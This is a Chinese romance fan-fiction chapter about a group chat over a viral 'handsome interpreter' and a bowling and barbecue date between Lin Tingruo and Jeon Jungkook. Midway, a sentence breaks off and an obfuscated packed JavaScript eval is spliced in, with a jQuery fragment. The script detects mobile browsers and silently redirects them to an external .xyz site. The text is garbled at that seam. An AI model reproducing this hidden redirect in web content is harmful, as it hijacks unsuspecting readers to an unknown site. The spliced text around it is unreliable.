聚餐真的很多点不好，人多闹的慌是一个，拖的时间久也是一个。林汀若喝完一杯果酒就没再动过酒瓶，可其他同事都还没尽兴，她又不好提前走，只能找了个角落坐着一直等到局结束。
等终于散场时，学校早已关寝，为了顺路干脆直接让同事把她放到了谢沺侒那里，反正他还远在香港，公寓空着。
第二天是周日也不用上课，林汀若本想补个长觉，可惜天不遂人愿。KaKaoTalk的提示音断断续续响起吵的她根本没法睡，又赖了半天，才下定决心伸出胳膊打开台灯，从枕下摸出手机。
女男女（3）
8:21
河yedam：这组拍的也好看
河yedam：【Theqoo：2016MAMA颁奖典礼受到广泛关注的“最帅翻译官”】
河yedam：沺侒哥怎么又帅了@YakYak
老郑：我刚跟沺侒哥发信息，他现在还在香港，才知道这事
老郑：@河yedam你赶紧把你ig私密一下
河yedam：干嘛？
老郑：一会儿就顺着沺侒哥的ig关注摸过去了
河yedam：我去这都能扒出来，那若若咋整她还没起呢
老郑：她本来就私密
河yedam：哦那就行
9:16
河yedam：［图片.jpg］
河yedam：哇塞论坛三十几个大热帖，哥真的要火了
老郑：别提了，他公司不想浪费这个热度，估计还要发酵，他刚把所有社交网站都私密
河yedam：互联网好吓人
河yedam：那这怎么办
老郑：等着呗，热度过去就好了
9:29
老郑：嘶所以现在的颁奖典礼不看艺人都关注翻译干什么
河yedam：可能现在的艺人歪瓜裂枣长得还没咱哥好看
河yedam：【Theqoo：“南韩最帅翻译官”同台爱豆对比，谁赢了】
河yedam：敢不敢看评论
老郑：婉拒了哈
林汀若快速翻完了两个人从七点就开始的未读聊天记录，终于搞清楚了前因后果，退出聊天室先给谢沺侒发去了消息。
YakYak：没事吧哥？
谢沺侒现在随时随地捧着手机，知道她是为什么而问，回得倒是快。
three water：没事，下个月还能轻松一点，反正钱照样赚
他本来下个月还有个娱乐性质的跨国公开翻译工作，可现在没有哪家爱豆公司愿意让他跟自家艺人同台，所以原定的工作只能取消。
没怎么影响他的心情就好，林汀若稍微松了口气，又问。
YakYak：那你什么时候回国？
three water：下午，晚上跟爸妈吃饭，你记得回家。
YakYak：［收到.emoji］
林汀若重新点进那个叽里呱啦的聊天室。
YakYak：我醒了跟变天了一样，你俩要吓死谁，跟机关枪一样这个突突突
河yedam：【Theqoo：南韩最帅翻译官ig-three water】
河yedam：为什么这么厉害真的什么都能扒出来诶
林汀若把台灯关掉，起床拉开窗帘开窗通风，蓝天白云，微风徐徐，倒是难得的好天气。
YakYak：其实我连你私密的账号都能打开你要不要试试@河yedam
河yedam：这对吗？计算机是这么用的吗？
老郑：可以，被告了我当你的律师，去做吧@YakYak
林汀若轻轻翘着嘴角。
YakYak：算了，我是个好人。
河yedam：滚蛋
-
林汀若真的觉得很奇怪。
为什么人家暧昧期约会都是电影院拉小手、汉江散步等等，就她和田柾国不是拳击馆就是保龄球馆，简直就跟各种运动俱乐部干上了，主打一个活力四射。
不过要说安全，那确实很安全，放松也确实让人很放松，但就是真的有点累，田柾国这个死直男，林汀若叹了口气。
眼看着田柾国助跑、摆臂，将最后一个保龄球稳稳推出。球道上，黑色的保龄球精准地避开了所有球瓶之间的缝隙。“砰”的一声，十个球瓶应声倒地，好像溅起了一片白色的浪花。
田柾国开心的原地蹦跶了两下，转过头锁定林汀若的位置后小跑了过来，眼睛亮晶晶的蹲在她面前，像只等待夸奖的小狗：“怎么样？”
“厉害！”林汀若眼睛弯弯的拍拍手竖出一个大拇指在他眼前晃了晃，疲惫瞬间消散了大半。不得不说，帅是真的帅。
田柾国得意地从鼻子里发出两声傻呵呵地哼哼笑声，站起身走到沙发边拿起两人的外套，将属于她的那件白色短款羽绒服递给她：“吃饭去呀。”
“吃什么？”林汀若接过衣服边穿边说着。右手习惯性地想去捞放在旁边座位上的包，却捞了个空。抬起头才发现包已经被他单肩背在了身上，黑色的小书包挂在少年精壮的脊背上，也不显突兀。
田柾国正整理着卫衣的帽子，察觉到她的视线立马看了过来，有些疑惑：“怎么了？”
“没事。”林汀若俏皮的耸耸肩，也走到沙发前把他那顶渔夫帽拿起来递给他，“给你。”
田柾国眯着眼笑，尾音不自觉上扬着：“谢谢，我们吃你上次说的那家烤肉行吗？”
首尔缺什么都不会缺烤肉，隔个一周两周就能冒出一家新开的店。再加上两个人都是爱吃烤肉的主，烤肉自然是最佳选择。只是林汀若发现一家就会给他分享过去，一时之间也想不起来他说的是哪家，不过跟着走就是了。
她点点头：“好啊。”
这还是两人第一次约饭。田柾国知道她比较在意隐私不太想被发现，所以做了很多功课排查了很多店铺之后才做出选择，面对面跟她提出时难免忐忑，眼下看她答应的这么干脆，脸上的笑容更灿烂了。
他下意识垂手想牵她的手腕，指腹擦过她温热细腻的手背不由缩了缩手指，两个人都顿了一下，气氛瞬间变得有些微妙。最后还是田柾国拉住了她宽松羽绒服的衣袖，若无其事的往前走，耳根却红了一片。
田柾国本就比她高大，此刻手臂在羽绒服袖子的衬托下更显得比她粗了整整一圈，但他拉着她袖口的力道不大，小心翼翼的，只是轻轻牵引着。
林汀若微微落后他半步，目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431021|184904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光落在那只捏着她衣服的手上。那是一只很清秀的男生的手，骨骼分明，手指修长，连指甲都修剪得干净整齐，在黑白碰撞下，显得格外白皙好看。
她忍不住弯了弯唇角，不动声色地微微挣脱了一下，手臂便轻而易举地从他的指缝间滑了出来。
田柾国感觉到手里一空，立刻停下脚步，疑惑地转过头，还没等他开口，就被林汀若先声夺人。
她把自己往宽大的围巾里又埋了埋，只露出一双弯成月牙的眼睛和小巧精致的鼻子，趁着田柾国的注意力都放在她脸上，身下主动伸出手，轻轻握住了他的两根手指。
“我拉着你吧。”
她的声音很轻，像羽毛一样飘进田柾国的耳朵里，酥酥的麻麻的。
他下意识“啊”了一声，随后反应过来手上的温度，又恍然“哦哦哦”了几声。林汀若被他逗的忍俊不禁，快走了几步，站位也变成了她在前面拉着他往前走：“快走啦，饿了。”
田柾国大步一迈跟她并排，垂眸还能看见纠缠在一起的手，眼角眉梢都染上了笑意，被她牵着的手指紧紧勾住她，大拇指收拢，缠上她的手背。
-
“就是这儿。”林汀若放下筷子，低头给他看自己头顶上周脑子短路的杰作，“就梳头的时候一直梳不好，一气之下就把一缕都剪了，现在都长出来了，好丑。”
田柾国早就注意到她头顶上那几根桀骜不驯呆毛了，这回趁她主动送到自己眼前来飞快地放下筷子伸手拨了拨，嘴里被烤肉塞得鼓鼓的，无比真诚地说：“很可爱啊。”
林汀若抬起头，双手抱头往下压了压不听话的头发，看向对面此刻眼睛圆圆、脸颊也圆圆的某人，扬了扬下巴，回击道：“内，你也可爱。”
田柾国瞬间塌下了脸，不服气地咽下嘴里的食物后重新拿起筷子，这次比之前吃的斯文多了。
他是真的不喜欢被说可爱。
林汀若看着他那副憋屈又无从言语的样子，忍不住笑了笑，看着烤盘上都是田柾国动手烤的食物，沉默想了想，在旁边拿起一片翠绿的苏子叶，用夹子夹好烤的恰到好处的肉，沾好酱料又加了点调味菜，仔仔细细包好，自然地举到田柾国嘴边，声音放得又轻又软：“赔礼道歉，你最帅了。”
田柾国看着突然出现在眼前的食物愣了一下，半秒后就翘起了嘴角，毫不客气的用嘴巴接过她的好意，滚烫的肉汁在口腔里爆开，让他一时说不出话，只是右手比出大拇指晃着，缓过来后坐直了身子，一本正经地宣布：“好吧，原谅你了。”
得了便宜还卖乖的样子，林汀若偷偷在心里恶趣味的加了一句“还是可爱”，收回手扯了张纸巾擦了擦水，完全没注意到田柾国在她收回手后飞快地拿起一片苏子叶的动作。
其他都是和她一样的包法，不过就是里面的肉相比她喂他吃的焦了一点，不过也就是一点而已。
然后他学着她刚才的语气，声音也放得轻轻的，把那个还冒着热气的苏子叶包，一只手举着一只手虚空托着的动作递到了林汀若的嘴边：“那我们和好吧。”
幼稚。
林汀若吐槽，但却控制不住自己的脸颊变得热热的，小心翼翼接过他的心意。见他美滋滋地收回手，心里波澜过后默默给他留下一句他喜欢的夸赞——好吧确实是帅的。